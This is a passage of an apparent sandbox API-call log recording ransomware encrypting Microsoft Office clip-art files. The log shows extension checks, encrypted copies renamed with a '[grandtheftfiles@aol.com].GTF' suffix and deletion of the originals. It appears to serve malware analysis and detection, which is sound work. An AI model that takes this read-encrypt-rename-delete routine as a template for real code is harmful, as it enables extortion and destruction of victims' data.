	[0158.137] lstrlenW (lpString=".rar") returned 4
	[0158.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.137] lstrlenW (lpString=".bz2") returned 4
	[0158.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.137] lstrlenW (lpString=".7z") returned 3
	[0158.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0158.137] lstrlenW (lpString=".dbf") returned 4
	[0158.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0158.137] lstrlenW (lpString=".1cd") returned 4
	[0158.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0158.137] lstrlenW (lpString=".jpg") returned 4
	[0158.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.137] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0158.137] lstrlenW (lpString="J0099184.WMF") returned 12
	[0158.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0158.138] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=4118) returned 1
	[0158.138] CloseHandle (hObject=0x4a4) returned 1
	[0158.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220
	[0158.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0158.138] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.138] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0158.139] GetLastError () returned 0x0
	[0158.139] ReadFile (in: hFile=0x4a4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1016, lpOverlapped=0x0) returned 1
	[0158.140] WriteFile (in: hFile=0x4b4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0158.142] ReadFile (in: hFile=0x4a4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.142] WriteFile (in: hFile=0x4b4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.142] SetEndOfFile (hFile=0x4b4) returned 1
	[0158.142] CloseHandle (hObject=0x4b4) returned 1
	[0158.142] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.142] SetEndOfFile (hFile=0x4a4) returned 1
	[0158.145] CloseHandle (hObject=0x4a4) returned 1
	[0158.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1
	[0158.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.146] lstrlenW (lpString=".doc") returned 4
	[0158.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.146] lstrlenW (lpString=".docx") returned 5
	[0158.146] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0158.146] lstrlenW (lpString=".pdf") returned 4
	[0158.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.146] lstrlenW (lpString=".xls") returned 4
	[0158.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.146] lstrlenW (lpString=".xlsx") returned 5
	[0158.146] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0158.146] lstrlenW (lpString=".ppt") returned 4
	[0158.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.146] lstrlenW (lpString=".zip") returned 4
	[0158.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.146] lstrlenW (lpString=".rar") returned 4
	[0158.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.146] lstrlenW (lpString=".bz2") returned 4
	[0158.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.146] lstrlenW (lpString=".7z") returned 3
	[0158.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.146] lstrlenW (lpString=".dbf") returned 4
	[0158.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.147] lstrlenW (lpString=".1cd") returned 4
	[0158.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.147] lstrlenW (lpString=".jpg") returned 4
	[0158.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.147] lstrlenW (lpString=".doc") returned 4
	[0158.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.147] lstrlenW (lpString=".docx") returned 5
	[0158.147] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0158.147] lstrlenW (lpString=".pdf") returned 4
	[0158.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.147] lstrlenW (lpString=".xls") returned 4
	[0158.147] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.147] lstrlenW (lpString=".xlsx") returned 5
	[0158.147] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0158.147] lstrlenW (lpString=".ppt") returned 4
	[0158.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.147] lstrlenW (lpString=".zip") returned 4
	[0158.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.147] lstrlenW (lpString=".rar") returned 4
	[0158.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.147] lstrlenW (lpString=".bz2") returned 4
	[0158.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.147] lstrlenW (lpString=".7z") returned 3
	[0158.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.147] lstrlenW (lpString=".dbf") returned 4
	[0158.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.147] lstrlenW (lpString=".1cd") returned 4
	[0158.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.147] lstrlenW (lpString=".jpg") returned 4
	[0158.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.148] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0158.148] lstrlenW (lpString="J0099185.JPG") returned 12
	[0158.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0158.149] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=3282) returned 1
	[0158.149] CloseHandle (hObject=0x4a4) returned 1
	[0158.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 0x220
	[0158.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0158.149] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.149] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0158.150] GetLastError () returned 0x0
	[0158.150] ReadFile (in: hFile=0x4a4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0xcd2, lpOverlapped=0x0) returned 1
	[0158.368] WriteFile (in: hFile=0x4b4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xce0, lpOverlapped=0x0) returned 1
	[0158.369] ReadFile (in: hFile=0x4a4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.369] WriteFile (in: hFile=0x4b4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.369] SetEndOfFile (hFile=0x4b4) returned 1
	[0158.369] CloseHandle (hObject=0x4b4) returned 1
	[0158.369] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.369] SetEndOfFile (hFile=0x4a4) returned 1
	[0158.372] CloseHandle (hObject=0x4a4) returned 1
	[0158.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1
	[0159.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.040] lstrlenW (lpString=".doc") returned 4
	[0159.040] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0159.040] lstrlenW (lpString=".docx") returned 5
	[0159.040] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0159.040] lstrlenW (lpString=".pdf") returned 4
	[0159.040] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0159.040] lstrlenW (lpString=".xls") returned 4
	[0159.040] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0159.040] lstrlenW (lpString=".xlsx") returned 5
	[0159.040] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0159.040] lstrlenW (lpString=".ppt") returned 4
	[0159.040] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0159.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.040] lstrlenW (lpString=".zip") returned 4
	[0159.040] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0159.040] lstrlenW (lpString=".rar") returned 4
	[0159.040] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0159.040] lstrlenW (lpString=".bz2") returned 4
	[0159.040] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0159.040] lstrlenW (lpString=".7z") returned 3
	[0159.040] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0159.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.040] lstrlenW (lpString=".dbf") returned 4
	[0159.040] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0159.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.040] lstrlenW (lpString=".1cd") returned 4
	[0159.040] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.041] lstrlenW (lpString=".jpg") returned 4
	[0159.041] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.041] lstrlenW (lpString=".doc") returned 4
	[0159.041] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0159.041] lstrlenW (lpString=".docx") returned 5
	[0159.041] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0159.041] lstrlenW (lpString=".pdf") returned 4
	[0159.041] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0159.041] lstrlenW (lpString=".xls") returned 4
	[0159.041] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0159.041] lstrlenW (lpString=".xlsx") returned 5
	[0159.041] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0159.041] lstrlenW (lpString=".ppt") returned 4
	[0159.041] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.041] lstrlenW (lpString=".zip") returned 4
	[0159.041] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0159.041] lstrlenW (lpString=".rar") returned 4
	[0159.041] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0159.041] lstrlenW (lpString=".bz2") returned 4
	[0159.041] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0159.041] lstrlenW (lpString=".7z") returned 3
	[0159.041] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.041] lstrlenW (lpString=".dbf") returned 4
	[0159.041] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.041] lstrlenW (lpString=".1cd") returned 4
	[0159.041] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.041] lstrlenW (lpString=".jpg") returned 4
	[0159.041] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0159.042] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0159.042] lstrlenW (lpString="J0099193.GIF") returned 12
	[0159.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0159.198] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=35546) returned 1
	[0159.198] CloseHandle (hObject=0x4ac) returned 1
	[0159.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 0x220
	[0159.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0159.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0161.066] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.068] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0161.119] GetLastError () returned 0x0
	[0161.119] ReadFile (in: hFile=0x4b4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x8ada, lpOverlapped=0x0) returned 1
	[0161.123] WriteFile (in: hFile=0x4ac, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x8ae0, lpOverlapped=0x0) returned 1
	[0161.124] ReadFile (in: hFile=0x4b4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.124] WriteFile (in: hFile=0x4ac, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.124] SetEndOfFile (hFile=0x4ac) returned 1
	[0161.124] CloseHandle (hObject=0x4ac) returned 1
	[0161.124] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.124] SetEndOfFile (hFile=0x4b4) returned 1
	[0161.127] CloseHandle (hObject=0x4b4) returned 1
	[0161.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0161.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 1
	[0161.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.131] lstrlenW (lpString=".doc") returned 4
	[0161.131] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.131] lstrlenW (lpString=".docx") returned 5
	[0161.131] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1
	[0161.131] lstrlenW (lpString=".pdf") returned 4
	[0161.131] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.131] lstrlenW (lpString=".xls") returned 4
	[0161.131] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.131] lstrlenW (lpString=".xlsx") returned 5
	[0161.131] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1
	[0161.131] lstrlenW (lpString=".ppt") returned 4
	[0161.131] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.131] lstrlenW (lpString=".zip") returned 4
	[0161.131] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.131] lstrlenW (lpString=".rar") returned 4
	[0161.131] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.131] lstrlenW (lpString=".bz2") returned 4
	[0161.131] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.131] lstrlenW (lpString=".7z") returned 3
	[0161.131] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.132] lstrlenW (lpString=".dbf") returned 4
	[0161.132] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.132] lstrlenW (lpString=".1cd") returned 4
	[0161.132] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.132] lstrlenW (lpString=".jpg") returned 4
	[0161.132] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.132] lstrlenW (lpString=".doc") returned 4
	[0161.132] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.132] lstrlenW (lpString=".docx") returned 5
	[0161.132] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1
	[0161.132] lstrlenW (lpString=".pdf") returned 4
	[0161.132] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.132] lstrlenW (lpString=".xls") returned 4
	[0161.132] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.132] lstrlenW (lpString=".xlsx") returned 5
	[0161.132] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1
	[0161.132] lstrlenW (lpString=".ppt") returned 4
	[0161.132] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.132] lstrlenW (lpString=".zip") returned 4
